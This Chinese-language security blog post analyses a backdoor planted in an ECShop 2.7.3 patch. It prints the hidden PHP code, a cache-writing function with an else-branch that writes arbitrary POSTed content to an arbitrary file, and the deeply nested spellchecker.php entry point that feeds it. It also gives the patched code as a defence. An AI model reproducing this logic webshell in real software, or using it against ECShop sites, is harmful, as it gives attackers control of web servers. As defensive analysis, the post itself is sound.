ecshop /includes/lib_base.php、/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php Backdoor Vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

ECShop是国内一款流行的网店管理系统软件，其2.7.3版本某个补丁存在后门文件，攻击者利用后门可以控制网站

Relevant Link:

http://sebug.net/vuldb/ssvid-62379

2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析

/includes/lib_base.php

//隐藏了逻辑型WEBSHELL后门
function write_static_cache($cache_name,$caches,$newname,$newfile)
{
    if (!empty($cache_name))
    {
        if ((DEBUG_MODE & 2) == 2)
        {
            return false;
        }
        $cache_file_path = ROOT_PATH . '/temp/static_caches/' . $cache_name . '.php';
        $content = "<?php
";
        $content .= "$data = " . var_export($caches, true) . ";
";
        $content .= "?>";
        file_put_contents($cache_file_path, $content, LOCK_EX);
    }
    //任意写入任意文件
    else
    {
        @file_put_contents($newfile, $newname);
    }
}

/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

//黑客将攻击入口放在了一个较深的目录下，避免被管理员发现
$newname = $_POST['newname'];
$newfile = $_POST['newfile'];
//提交POST请求后，可以任意写入文件
write_static_cache($cache_name,$caches,$newname,$newfile);

Relevant Link:

http://webscan.360.cn/vul/view/vulid/1063
http://www.2cto.com/Article/201305/213322.html

5. 防御方法

/includes/lib_base.php

function write_static_cache($cache_name,$caches,$newname,$newfile)
{
    if (!empty($cache_name))
    {
        if ((DEBUG_MODE & 2) == 2)
        {
            return false;
        }
        $cache_file_path = ROOT_PATH . '/temp/static_caches/' . $cache_name . '.php';
        $content = "<?php
";
        $content .= "$data = " . var_export($caches, true) . ";
";
        $content .= "?>";
        file_put_contents($cache_file_path, $content, LOCK_EX);
    }
    //任意写入任意文件
    else
    {
        //@file_put_contents($newfile, $newname);
    　　die("request error!");
    }
}

/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

//删除如下代码
$newname = $_POST['newname'];
$newfile = $_POST['newfile'];
write_static_cache($cache_name,$caches,$newname,$newfile);

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved